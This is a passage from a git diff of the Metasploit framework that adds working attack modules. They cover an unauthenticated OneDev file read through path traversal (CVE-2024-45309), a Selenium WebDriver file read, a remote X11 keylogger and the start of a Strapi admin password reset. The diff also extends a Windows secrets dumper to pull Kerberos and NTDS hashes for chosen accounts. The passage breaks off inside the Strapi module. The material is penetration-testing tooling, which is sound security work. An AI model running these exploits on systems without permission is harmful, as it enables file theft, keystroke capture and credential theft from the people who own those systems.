https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + CheckCode = Exploit::CheckCode + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'OneDev Unauthenticated Arbitrary File Read', + 'Description' => %q{ + This module exploits an unauthenticated arbitrary file read vulnerability (CVE-2024-45309), which affects OneDev versions <= 11.0.8. + To exploit this vulnerability, a valid OneDev project name is required. If anonymous access is enabled on the OneDev server, any visitor + can view existing projects without authentication. + However, when anonymous access is disabled, an attacker who lacks prior knowledge of existing project names can use a brute-force approach. + By providing a user-supplied wordlist, the module may be able to guess a valid project name and subsequently exploit the vulnerability. + }, + 'Author' => [ + 'vultza', # metasploit module + 'Siebene' # vuln discovery + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2024-45309'], + ['URL', 'https://github.com/theonedev/onedev/security/advisories/GHSA-7wg5-6864-v489'] + ], + 'DisclosureDate' => '2024-10-19', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + register_options( + [ + OptString.new('TARGETURI', [true, 'The relative URI of the OneDev instance', '/']), + OptString.new('TARGETFILE', [true, 'The absolute file path to read', '/etc/passwd']), + OptBool.new('STORE_LOOT', [true, 'Store the target file as loot', false]), + OptString.new('PROJECT_NAME', [true, 'The target OneDev project name', '']), + OptPath.new('PROJECT_NAMES_FILE', [ + false, 'File containing project names to try, one per line', + File.join(Msf::Config.data_directory, 'wordlists', 'namelist.txt') + ]) + ] + ) + end + + def check + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path) + }) + + return CheckCode::Unknown('Request failed') unless res + + unless ['OneDev', "var redirect = '/~login';"].any? { |f| res.body.include? f } + return CheckCode::Unknown("The target isn't a OneDev instance.") + end + + version = res.body.scan(/OneDev ([\d.]+)/).first + + if version.nil? + if datastore['PROJECT_NAME'] + res = read_file(datastore['PROJECT_NAME'], '/etc/passwd') + + if res.body.include? 'root:x:0:0:root:' + return CheckCode::Vulnerable('OneDev instance is vulnerable.') + else + return CheckCode::Safe('OneDev instance is not vulnerable.') + end + end + return CheckCode::Unknown('Unable to detect the OneDev version, as the instance does not have anonymous access enabled.') + end + + version = Rex::Version.new(version[0]) + + return CheckCode::Safe("OneDev #{version} is not vulnerable.") if version > Rex::Version.new('11.0.8') + + CheckCode::Appears("OneDev #{version} is vulnerable.") + end + + def validate_project_exists(project) + res = send_request_cgi({ + 'method' => 'HEAD', + 'uri' => normalize_uri(target_uri.path, project, '~site') + }) + + return res&.code == 200 + end + + def find_project + print_status 'Bruteforcing a valid project name…' + + File.open(datastore['PROJECT_NAMES_FILE'], 'rb').each do |project| + project = project.strip + next unless validate_project_exists(project) + + print_status("#{peer} - Found valid OneDev project name: #{project}") + return project + end + nil + end + + def read_file(project_name, target_file) + path_traversal = '~site////////%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e' + payload_path = normalize_uri(target_uri.path, project_name) + payload_path = "#{payload_path}/#{path_traversal}#{target_file}" + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => payload_path + }) + return res + end + + def run + project_name = datastore['PROJECT_NAME'] + + if project_name.strip.empty? + project_name = find_project + fail_with(Failure::NoTarget, 'No valid OneDev project was found.') unless project_name + else + fail_with(Failure::NoTarget, 'Provided project name is invalid.') unless validate_project_exists(project_name) + end + + res = read_file(project_name, datastore['TARGETFILE']) + + fail_with(Failure::Unreachable, 'Request timed out.') unless res + + fail_with(Failure::UnexpectedReply, "Target file #{datastore['TARGETFILE']} not found.") if res.body.include? 'Site file not found' + + file_name = datastore['TARGETFILE'] + if datastore['STORE_LOOT'] + store_loot(File.basename(file_name), 'text/plain', datastore['RHOST'], res.body, file_name, 'File retrieved from OneDev server') + print_good("#{file_name} file stored in loot.") + else + print_good("#{file_name} file retrieved with success.\n#{res.body}") + end + end +end diff --git a/modules/auxiliary/gather/prometheus_api_gather.rb b/modules/auxiliary/gather/prometheus_api_gather.rb index 697cac07e4ba..2e1a956e16fd 100644 --- a/modules/auxiliary/gather/prometheus_api_gather.rb +++ b/modules/auxiliary/gather/prometheus_api_gather.rb @@ -31,7 +31,8 @@ def initialize(info = {}) 'h00die' ], 'References' => [ - ['URL', 'https://jfrog.com/blog/dont-let-prometheus-steal-your-fire/'] + ['URL', 'https://jfrog.com/blog/dont-let-prometheus-steal-your-fire/'], + ['URL', 'https://www.aquasec.com/blog/300000-prometheus-servers-and-exporters-exposed-to-dos-attacks/'] ], 'Targets' => [ @@ -145,6 +146,14 @@ def run json = res.get_json_document fail_with(Failure::UnexpectedReply, "#{peer} - Unable to parse JSON document") unless json print_good("Config file: #{json.dig('data', 'config.file')}") if json.dig('data', 'config.file') + + # check for pprof + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'debug', 'pprof/'), # include trailing / + 'method' => 'GET' + ) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + print_good("#{peer}#{target_uri.path}debug/pprof/ found, potential DoS and information disclosure. Should be manually reviewed.") if res.code == 200 && res.body.include?('Profile Descriptions') rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") end diff --git a/modules/auxiliary/gather/prometheus_node_exporter_gather.rb b/modules/auxiliary/gather/prometheus_node_exporter_gather.rb index e4835305949d..bf1d8832f733 100644 --- a/modules/auxiliary/gather/prometheus_node_exporter_gather.rb +++ b/modules/auxiliary/gather/prometheus_node_exporter_gather.rb @@ -24,7 +24,8 @@ def initialize(info = {}) ], 'References' => [ ['URL', 'https://github.com/prometheus/node_exporter'], - ['URL', 'https://sysdig.com/blog/exposed-prometheus-exploit-kubernetes-kubeconeu/'] + ['URL', 'https://sysdig.com/blog/exposed-prometheus-exploit-kubernetes-kubeconeu/'], + ['URL', 'https://www.aquasec.com/blog/300000-prometheus-servers-and-exporters-exposed-to-dos-attacks/'] ], 'Targets' => [ @@ -308,6 +309,14 @@ def run ].each do |table| print_good(table.to_s) if !table.rows.empty? end + + # check for pprof + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'debug', 'pprof/'), # include trailing / + 'method' => 'GET' + ) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + print_good("#{peer}#{target_uri.path}debug/pprof/ found, potential DoS and information disclosure. Should be manually reviewed.") if res.code == 200 && res.body.include?('Profile Descriptions') rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") end diff --git a/modules/auxiliary/gather/selenium_file_read.rb b/modules/auxiliary/gather/selenium_file_read.rb new file mode 100644 index 000000000000..610cc1034a3a --- /dev/null +++ b/modules/auxiliary/gather/selenium_file_read.rb @@ -0,0 +1,166 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Selenium arbitrary file read', + 'Description' => %q{ + If there is an open selenium web driver, a remote attacker can send requests to the victims browser. + In certain cases this can be used to access to the remote file system. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Jon Stratton', # Original Metasploit module + 'Takahiro Yokoyama' # Metasploit module + ], + 'References' => [ + [ 'URL', 'https://github.com/JonStratton/selenium-node-takeover-kit' ] + ], + 'Platform' => 'misc', + 'Targets' => [ + [ + 'Native Payload', { + 'Platform' => %w[linux osx win unix], + 'Arch' => ARCH_ALL + } + ] + ], + 'DisclosureDate' => '2020-10-01', # Not sure this is correct + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [ CRASH_SAFE, ], + 'SideEffects' => [ IOC_IN_LOGS, ], + 'Reliability' => [] + } + ) + ) + + register_options( + [ + Opt::RPORT(4444), + OptString.new('SCHEME', [true, 'The scheme to use', 'file']), + OptString.new('FILEPATH', [true, 'File to read', '/etc/passwd']), + OptEnum.new('BROWSER', [true, 'The browser to use', 'firefox', ['firefox', 'chrome', 'MicrosoftEdge']]), + OptInt.new('TIMEOUT', [ true, 'Timeout for exploit (seconds)', 75 ]), + ] + ) + end + + def check + # Request for Selenium Grid version 4 + v4res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'status') + }) + if v4res && v4res.get_json_document && v4res.get_json_document.include?('value') && + v4res.get_json_document['value'].include?('message') + if v4res.get_json_document['value']['message'] == 'Selenium Grid ready.' + return Exploit::CheckCode::Detected('Selenium Grid version 4.x detected and ready.') + elsif v4res.get_json_document['value']['message'].downcase.include?('selenium grid') + return Exploit::CheckCode::Unknown('Selenium Grid version 4.x detected but not ready.') + end + end + + # Request for Selenium Grid version 3 + v3res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path) + }) + return Exploit::CheckCode::Unknown('Unexpected server reply.') unless v3res&.code == 200 + + js_code = v3res.get_html_document.css('script').find { |script| script.text.match(/var json = Object.freeze\('(.*?)'\);/) } + return Exploit::CheckCode::Unknown('Unable to determine the version.') unless js_code + + json_str = js_code.text.match(/var json = Object.freeze\('(.*?)'\);/)[1] + begin + json_data = JSON.parse(json_str) + rescue JSON::ParserError + return Exploit::CheckCode::Unknown('Unable to determine the version.') + end + return Exploit::CheckCode::Unknown('Unable to determine the version.') unless json_data && json_data.include?('version') && json_data['version'] + + # Extract the version + version = Rex::Version.new(json_data['version']) + @version3 = version < Rex::Version.new('4.0.0') + + Exploit::CheckCode::Appears("Version #{version} detected") + end + + def run + case datastore['BROWSER'] + when 'firefox' + options = 'moz:firefoxOptions' + when 'chrome' + options = 'goog:chromeOptions' + when 'MicrosoftEdge' + options = 'ms:edgeOptions' + end + # Start session. driver = Selenium::WebDriver.for :remote, :url => url, :desired_capabilities => { :browserName => browser } + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'wd/hub/session'), + 'ctype' => 'application/json; charset=utf-8', + 'data' => JSON.generate({ + desiredCapabilities: { browserName: datastore['BROWSER'] }, + capabilities: { + firstMatch: [ + { + browserName: datastore['BROWSER'], + "#{options}": {} + } + ] + } + }) + }, datastore['TIMEOUT']) + fail_with(Failure::Unknown, 'Unexpected server reply.') unless res + + session_id = res.get_json_document['value']['sessionId'] || res.get_json_document['sessionId'] + fail_with(Failure::Unknown, 'Failed to start session.') unless session_id + + print_status("Started session (#{session_id}).") + + # driver.get('file://%s' % [FILEPATH]) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, "wd/hub/session/#{session_id}/url"), + 'ctype' => 'application/json; charset=utf-8', + 'data' => JSON.generate({ url: "#{datastore['SCHEME']}://#{datastore['FILEPATH']}" }) + }) + fail_with(Failure::Unknown, "Failed to execute driver.get('#{datastore['SCHEME']}://#{datastore['FILEPATH']}').") unless res + + # driver.page_source + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "wd/hub/session/#{session_id}/source"), + 'ctype' => 'application/json; charset=utf-8' + }) + fail_with(Failure::Unknown, "Failed to read file: #{datastore['FILEPATH']}.") unless res + + print_good("#{datastore['FILEPATH']}\n#{Nokogiri::HTML(res.get_json_document['value'])&.at('pre')&.text}") + + # End session + # This may take some time (about 5 minutes or so), so no timeout is set here. + res = send_request_cgi({ + 'method' => 'DELETE', + 'uri' => normalize_uri(target_uri.path, @version3 ? "wd/hub/session/#{session_id}" : "session/#{session_id}"), + 'headers' => { 'Content-Type' => 'application/json; charset=utf-8' } + }) + if res + print_status("Deleted session (#{session_id}).") + else + print_status("Failed to delete the session (#{session_id}). "\ + 'You may need to wait for the session to expire (default: 5 minutes) or '\ + 'manually delete the session for the next exploit to succeed.') + end + end + +end diff --git a/modules/auxiliary/gather/windows_secrets_dump.rb b/modules/auxiliary/gather/windows_secrets_dump.rb index cd2c71322505..5eb98fcc41a7 100644 --- a/modules/auxiliary/gather/windows_secrets_dump.rb +++ b/modules/auxiliary/gather/windows_secrets_dump.rb @@ -63,7 +63,8 @@ module will fallback to the original implementation, which consists 'Author' => [ 'Alberto Solino', # Original Impacket code 'Christophe De La Fuente', # MSF module - 'antuache' # Inline technique + 'antuache', # Inline technique + 'smashery' # Querying subset of domain accounts ], 'References' => [ ['URL', 'https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py'], @@ -91,7 +92,9 @@ module will fallback to the original implementation, which consists 'INLINE', [ true, 'Use inline technique to read protected keys from the registry remotely without saving the hives to disk', true ], conditions: ['ACTION', 'in', %w[ALL SAM CACHE LSA]] - ) + ), + OptEnum.new('KRB_TYPES', [true, 'Which type of accounts to retrieve kerberos details for', 'ALL', ['ALL', 'USERS_ONLY', 'COMPUTERS_ONLY']], conditions: ['ACTION', 'in', %w[ALL DOMAIN]]), + OptString.new('KRB_USERS', [false, 'Comma-separated list of user accounts or groups to retrieve kerberos details for', ''], conditions: ['ACTION', 'in', %w[ALL DOMAIN]]) ] ) @@ -609,7 +612,15 @@ def connect_samr(domain_name) end def get_domain_users - users = @samr.samr_enumerate_users_in_domain(domain_handle: @domain_handle) + user_uac = RubySMB::Dcerpc::Samr::USER_NORMAL_ACCOUNT + computer_uac = RubySMB::Dcerpc::Samr::USER_WORKSTATION_TRUST_ACCOUNT | RubySMB::Dcerpc::Samr::USER_SERVER_TRUST_ACCOUNT | RubySMB::Dcerpc::Samr::USER_INTERDOMAIN_TRUST_ACCOUNT + all_uac = user_uac | computer_uac + uac = { + 'ALL' => all_uac, + 'USERS_ONLY' => user_uac, + 'COMPUTERS_ONLY' => computer_uac + }[datastore['KRB_TYPES']] + users = @samr.samr_enumerate_users_in_domain(domain_handle: @domain_handle, user_account_control: uac) vprint_status("Obtained #{users.length} domain users, fetching the SID for each...") progress_interval = 250 nb_digits = (Math.log10(users.length) + 1).floor @@ -830,6 +841,40 @@ def parse_user_record(dcerpc_client, user_record) result end + def get_domain_users_by_name(names) + details = @samr.samr_lookup_names_in_domain( + domain_handle: @domain_handle, + names: names + ) + raise Msf::Exploit::Remote::MsSamr::MsSamrNotFoundError, 'One or more of the provided names was not found.' if details.nil? + + result = [] + names.each do |name| + user_details = details[name] + case user_details[:use] + when 1 # SidTypeUser + sid = @samr.samr_rid_to_sid( + object_handle: @domain_handle, + rid: user_details[:rid] + ).to_s + result.append([sid, name]) + when 2 # SidTypeGroup + handle = @samr.samr_open_group(domain_handle: @domain_handle, group_id: user_details[:rid]) + results = @samr.samr_get_members_in_group(group_handle: handle) + results.each do |entry| + member_rid = entry[0] + sid = @samr.samr_rid_to_sid( + object_handle: @domain_handle, + rid: member_rid + ).to_s + result.append([sid, '']) + end + end + end + + result + end + def dump_ntds_hashes _machine_name, domain_name, dns_domain_name = get_machine_name_and_domain_info return unless domain_name @@ -846,7 +891,19 @@ def dump_ntds_hashes ) return end - users = get_domain_users + specific_users = datastore['KRB_USERS'].strip.split(',').map(&:strip) + + if specific_users.empty? + users = get_domain_users + else + if datastore['KRB_TYPES'] != 'ALL' + print_warning("Searching for specific users/groups; KRB_TYPES setting (#{datastore['KRB_TYPES']}) will be ignored") + end + + users = get_domain_users_by_name(specific_users) + end + + sids = Set.new(users.map { |sid_and_user| sid_and_user[0] }) dcerpc_client = connect_drs unless dcerpc_client @@ -859,29 +916,27 @@ def dump_ntds_hashes ph_drs = dcerpc_client.drs_bind dc_infos = dcerpc_client.drs_domain_controller_info(ph_drs, domain_name) user_info = {} - dc_infos.each do |dc_info| - users.each do |user| - sid = user[0] - crack_names = dcerpc_client.drs_crack_names(ph_drs, rp_names: [sid]) - crack_names.each do |crack_name| - user_record = dcerpc_client.drs_get_nc_changes( - ph_drs, - nc_guid: crack_name.p_name.to_s.encode('utf-8'), - dsa_object_guid: dc_info.ntds_dsa_object_guid - ) - user_info[sid] = parse_user_record(dcerpc_client, user_record) - end + dc_info = dc_infos[0] + sids.each do |sid| + crack_names = dcerpc_client.drs_crack_names(ph_drs, rp_names: [sid]) + crack_names.each do |crack_name| + user_record = dcerpc_client.drs_get_nc_changes( + ph_drs, + nc_guid: crack_name.p_name.to_s.encode('utf-8'), + dsa_object_guid: dc_info.ntds_dsa_object_guid + ) + user_info[sid] = parse_user_record(dcerpc_client, user_record) + end - groups = get_user_groups(sid) - groups.each do |group| - case group.name - when 'BUILTIN\\Administrators' - user_info[sid][:admin] = true - when '(domain)\\Domain Admins' - user_info[sid][:domain_admin] = true - when '(domain)\\Enterprise Admins' - user_info[sid][:enterprise_admin] = true - end + groups = get_user_groups(sid) + groups.each do |group| + case group.name + when 'BUILTIN\\Administrators' + user_info[sid][:admin] = true + when '(domain)\\Domain Admins' + user_info[sid][:domain_admin] = true + when '(domain)\\Enterprise Admins' + user_info[sid][:enterprise_admin] = true end end end @@ -1058,8 +1113,7 @@ def run if session print_status("Using existing session #{session.sid}") - client = session.client - self.simple = ::Rex::Proto::SMB::SimpleClient.new(client.dispatcher.tcp_socket, client: client) + self.simple = session.simple_client simple.connect("\\\\#{simple.address}\\IPC$") # smb_login connects to this share for some reason and it doesn't work unless we do too else connect @@ -1219,6 +1273,8 @@ def run fail_with(Module::Failure::UnexpectedReply, "[#{e.class}] #{e}") rescue Rex::ConnectionError => e fail_with(Module::Failure::Unreachable, "[#{e.class}] #{e}") + rescue Msf::Exploit::Remote::MsSamr::MsSamrError => e + fail_with(Module::Failure::BadConfig, "[#{e.class}] #{e}") rescue ::StandardError => e do_cleanup raise e diff --git a/modules/auxiliary/gather/wp_bookingpress_category_services_sqli.rb b/modules/auxiliary/gather/wp_bookingpress_category_services_sqli.rb index 4ad56b981108..51b317022b17 100644 --- a/modules/auxiliary/gather/wp_bookingpress_category_services_sqli.rb +++ b/modules/auxiliary/gather/wp_bookingpress_category_services_sqli.rb @@ -116,6 +116,8 @@ def get_user_nonce end def run + # next line included for automatic inclusion into vulnerable plugins list + # check_plugin_version_from_readme('bookingpress', '1.0.12') @nonce ||= get_user_nonce fail_with(Failure::UnexpectedReply, NONCE_NOT_FOUND_ERROR_MSG) if @nonce == NONCE_NOT_FOUND_ERROR_MSG @sqli ||= get_sqli_object diff --git a/modules/auxiliary/gather/x11_keyboard_spy.rb b/modules/auxiliary/gather/x11_keyboard_spy.rb new file mode 100644 index 000000000000..f16042d2f895 --- /dev/null +++ b/modules/auxiliary/gather/x11_keyboard_spy.rb @@ -0,0 +1,287 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Exploit::Remote::Tcp + include Rex::Proto::X11 + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::X11 + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'X11 Keylogger', + 'Description' => %q{ + This module binds to an open X11 host to log keystrokes. This is a fairly + close copy of the old xspy c program which has been on Kali for a long time. + The module works by connecting to the X11 session, creating a background + window, binding a keyboard to it and creating a notification alert when a key + is pressed. + + One of the major limitations of xspy, and thus this module, is that it polls + at a very fast rate, faster than a key being pressed is released (especially before + the repeat delay is hit). To combat printing multiple characters for a single key + press, repeat characters arent printed when typed in a very fast manor. This is also + an imperfect keylogger in that keystrokes arent stored and forwarded but status + displayed at poll time. Keys may be repeated or missing. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die', # MSF module, X11 libs + 'nir tzachar' # original file? https://gitlab.com/kalilinux/packages/xspy/-/blob/kali/master/Xspy.c?ref_type=heads + ], + 'References' => [ + [ 'URL', 'https://www.kali.org/tools/xspy/'], + [ 'CVE', '1999-0526'] + ], + 'DefaultOptions' => { + 'RPORT' => 6000 + }, + 'DisclosureDate' => '1997-07-01', # CVE date, but likely older + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [], + 'SideEffects' => [], + 'AKA' => ['xspy'], + 'RelatedModules' => [ + 'auxiliary/scanner/x11/open_x11', + ] + } + ) + ) + register_options [ + OptInt.new('LISTENER_TIMEOUT', [ true, 'The maximum number of seconds to keylog', 600 ]), # 10 minutes + OptInt.new('PRINTERVAL', [ true, 'The interval to print keylogs in seconds', 60 ]) # 1 minutes + ] + end + + def check + vprint_status('Establishing TCP Connection') + connect # tcp connection establish + vprint_status('Attempting X11 connection') + connection = x11_connect + + if connection.nil? + return Exploit::CheckCode::Safe('No connection, or bad X11 response received') + end + + if connection.header.success == 1 + return Exploit::CheckCode::Appears('Successfully established X11 connection') + end + + Exploit::CheckCode::Safe('X11 connection was not successful') + end + + # This function takes map data and converts it to a hashtable so that + # we can translate from x11 key press data to the actual key on the + # keyboard which was pressed. + # https://stackoverflow.com/a/28258750 has a good description of keysyms vs keycodes + def build_sym_key_map(map_data) + keysym_index = 0 + key_map = {} + (map_data.min_key_code..map_data.max_key_code).each do |key_code| + syms = map_data.key_map_array[keysym_index] + if syms.n_syms == 0 + key_map[key_code] = nil + else + sym = map_data.key_map_array[keysym_index].key_sym_array[0] + begin + character = sym.chr + character = '[space]' if character == ' ' + rescue RangeError + if X11KEYSYM_HASH.key? sym + character = X11KEYSYM_HASH[sym] + else + character = "Unknown key sym: #{sym}" + end + end + key_map[key_code] = character + # leaving in for debugging purposes + # puts "i: #{key_code}, keysym_str: #{character}, keysym: #{keysym_index}" + end + keysym_index += 1 + end + key_map + end + + # TBH still don't really understand exactly how this works, but it does. + def translate_keystroke(bit_array_of_keystrokes, key_map, last_key_press_array) + # Iterate through each byte of keyboard state + bit_array_of_keystrokes.each_with_index do |keyboard_state_byte, byte_index| + next if last_key_press_array[byte_index] == keyboard_state_byte + + # Check each bit within the byte + 8.times do |j| + next unless keyboard_state_byte & (1 << j) != 0 + + # Key at position (i*8 + j) is pressed + keycode = byte_index * 8 + j + + keysym = key_map[keycode] + + @keylogger_log += keysym + @keylogger_print_buffer += keysym + end + end + end + + def run + query_extension_call_counter = 0 + @keylogger_log = '' + @keylogger_print_buffer = '' + + vprint_status('Establishing TCP Connection') + begin + connect # tcp connection establish + rescue Rex::ConnectionError + fail_with(Msf::Module::Failure::Unreachable, 'Connection failed') + end + vprint_status('[1/9] Establishing X11 connection') + connection = x11_connect + + fail_with(Msf::Module::Failure::UnexpectedReply, 'Port connected, but no response to X11 connection attempt') if connection.nil? + + if connection.header.success == 1 + x11_print_connection_info(connection, datastore['RHOST'], rport) + else + fail_with(Msf::Module::Failure::UnexpectedReply, 'X11 connection not successful') + end + + vprint_status('[2/9] Checking on BIG-REQUESTS extension') + big_requests_plugin = x11_query_extension('BIG-REQUESTS', query_extension_call_counter) + fail_with(Msf::Module::Failure::UnexpectedReply, 'Unable to process response') if big_requests_plugin.nil? + if big_requests_plugin.present == 1 + print_good(" Extension BIG-REQUESTS is present with id #{big_requests_plugin.major_opcode}") + else + fail_with(Msf::Module::Failure::UnexpectedReply, 'Extension BIG-REQUESTS is NOT present') + end + + vprint_status('[3/9] Enabling BIG-REQUESTS') + toggle = x11_toggle_extension(big_requests_plugin.major_opcode) + fail_with(Msf::Module::Failure::UnexpectedReply, 'Unable to enable extension') if toggle.nil? + + vprint_status('[4/9] Creating new graphical context') + gc_header = X11RequestHeader.new(opcode: 55) + gc_body = X11CreateGraphicalContextRequestBody.new( + cid: connection.body.resource_id_base, + drawable: connection.body.screen_root, + gc_value_mask_background: 1 + ) + + gp_header = X11RequestHeader.new(opcode: 20) + gp_body = X11GetPropertyRequestBody.new(window: connection.body.screen_root) + + sock.put(gc_header.to_binary_s + + gc_body.to_binary_s + + gp_header.to_binary_s + + gp_body.to_binary_s) # not sure why we also do a get property, but it emulates how the library works + + # nothing valuable in the response, just make sure we read it in to + # confirm its expected data and not leave the response on the socket + x11_read_response(X11GetPropertyResponse) + + vprint_status('[5/9] Checking on XKEYBOARD extension') + xkeyboard_plugin = x11_query_extension('XKEYBOARD', query_extension_call_counter) + fail_with(Msf::Module::Failure::UnexpectedReply, 'Unable to process response') if xkeyboard_plugin.nil? + if xkeyboard_plugin.present == 1 + print_good(" Extension XKEYBOARD is present with id #{xkeyboard_plugin.major_opcode}") + else + fail_with(Msf::Module::Failure::UnexpectedReply, 'Extension XKEYBOARD is NOT present') + end + + vprint_status('[6/9] Enabling XKEYBOARD') + toggle = x11_toggle_extension(xkeyboard_plugin.major_opcode, wanted_major: 1) + fail_with(Msf::Module::Failure::UnexpectedReply, 'Unable to enable extension') if toggle.nil? + + vprint_status('[7/9] Requesting XKEYBOARD map') + sock.put(X11GetMapRequest.new(xkeyboard_id: xkeyboard_plugin.major_opcode, + full_key_types: 1, + full_key_syms: 1, + full_modifier_map: 1).to_binary_s) + + map_data = x11_read_response(X11GetMapResponse) + + vprint_status('[8/9] Enabling notification on keyboard and map') + sock.put(X11SelectEvents.new(xkeyboard_id: xkeyboard_plugin.major_opcode, + affect_which_new_keyboard_notify: 1, + affect_new_keyboard_key_codes: 1, + affect_new_keyboard_device_id: 1).to_binary_s + + X11SelectEvents.new(xkeyboard_id: xkeyboard_plugin.major_opcode, + affect_which_map_notify: 1, + affect_map_key_types: 1, + affect_map_key_syms: 1, + affect_map_modifier_map: 1, + map_key_types: 1, + map_key_syms: 1, + map_modifier_map: 1).to_binary_s) # not sure what this does, but emulates x11 c library + # this request doesn't receive any response data + + vprint_status('[9/9] Creating local keyboard map') + key_map = build_sym_key_map(map_data) + last_key_press_array = Array.new(32, 0) + empty = Array.new(32, 0) + + print_good('All setup, watching for keystrokes') + # loop mechanics stolen from exploit/multi/handler + stime = Process.clock_gettime(Process::CLOCK_MONOTONIC) + print_timer = Process.clock_gettime(Process::CLOCK_MONOTONIC) + timeout = datastore['LISTENER_TIMEOUT'].to_i + printerval = datastore['PRINTERVAL'].to_i + begin + loop do + # sleep 1 + break if timeout > 0 && (stime + timeout < Process.clock_gettime(Process::CLOCK_MONOTONIC)) + + sock.put(X11QueryKeyMapRequest.new.to_binary_s) + query_key_map_response = x11_read_response(X11QueryKeyMapResponse) + bit_array_of_keystrokes = query_key_map_response.data + # we poll FAR quicker than a normal key press, so we need to filter repeats + unless bit_array_of_keystrokes == last_key_press_array # skip repeats + translate_keystroke(bit_array_of_keystrokes, key_map, last_key_press_array) unless bit_array_of_keystrokes == empty + last_key_press_array = bit_array_of_keystrokes + end + + next unless print_timer + printerval < Time.now.to_f + + print_timer = Time.now.to_f + if @keylogger_print_buffer.empty? + print_bad('No X11 key presses observed') + next + end + print_good("X11 Key presses observed: #{@keylogger_print_buffer}") + @keylogger_print_buffer = '' + end + rescue EOFError + print_error('Connection closed by remote host') + ensure + vprint_status('Closing X11 connection') + sock.put(Rex::Proto::X11::X11RequestHeader.new(opcode: 60).to_binary_s + + X11FreeGraphicalContextRequestBody.new(gc: connection.body.resource_id_base).to_binary_s + + Rex::Proto::X11::X11RequestHeader.new(opcode: 43).to_binary_s + + X11GetInputFocusRequestBody.new.to_binary_s) + disconnect + + if @keylogger_print_buffer.empty? + print_bad('No X11 key presses observed') + else + print_good("X11 Key presses observed: #{@keylogger_print_buffer}") + end + + unless @keylogger_log == '' + loot_path = store_loot( + 'x11.keylogger', + 'text/plain', + datastore['rhost'], + @keylogger_log, + 'xspy.txt', + 'Keylogger content from X11' + ) + + print_good("Logged keys stored to: #{loot_path}") + end + end + end +end diff --git a/modules/auxiliary/scanner/dcerpc/petitpotam.rb b/modules/auxiliary/scanner/dcerpc/petitpotam.rb index 29e775045593..b4601ffc27ef 100644 --- a/modules/auxiliary/scanner/dcerpc/petitpotam.rb +++ b/modules/auxiliary/scanner/dcerpc/petitpotam.rb @@ -10,6 +10,13 @@ require 'ruby_smb/dcerpc/efsrpc' class MetasploitModule < Msf::Auxiliary + + module EfsrpcOverLsarpc + include RubySMB::Dcerpc::Efsrpc + + UUID = RubySMB::Dcerpc::Efsrpc::LSARPC_UUID + end + include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB::Client::Authenticated include Msf::Auxiliary::Scanner @@ -20,7 +27,7 @@ class MetasploitModule < Msf::Auxiliary # Efsrpc and it's normal UUID PIPE_HANDLES = { lsarpc: { - endpoint: RubySMB::Dcerpc::Lsarpc, + endpoint: EfsrpcOverLsarpc, filename: 'lsarpc'.freeze }, efsrpc: { diff --git a/modules/auxiliary/scanner/http/strapi_3_password_reset.rb b/modules/auxiliary/scanner/http/strapi_3_password_reset.rb new file mode 100644 index 000000000000..cccb10fe9b77 --- /dev/null +++ b/modules/auxiliary/scanner/http/strapi_3_password_reset.rb @@ -0,0 +1,125 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Strapi CMS Unauthenticated Password Reset', + 'Description' => %q{ + This module abuses the mishandling of a password reset request for + Strapi CMS version 3.0.0-beta.17.4 to change the password of the admin user. + + Successfully tested against Strapi CMS version 3.0.0-beta.17.4. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'WackyH4cker', # original module creation + 'h00die' # lots of fixes, documentation, standardization + ], + 'References' => [ + [ 'URL', 'https://vulners.com/cve/CVE-2019-18818' ], + [ 'URL', 'https://github.com/strapi/strapi/releases/tag/v3.0.0-beta.17.4' ], + [ 'URL', 'https://github.com/strapi/strapi/pull/4443' ], + [ 'CVE', '2019-18818' ], + [ 'EDB', '50716' ] + ], + 'Privileged' => true, + 'DisclosureDate' => '2022-02-09', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [], + 'SideEffects' => 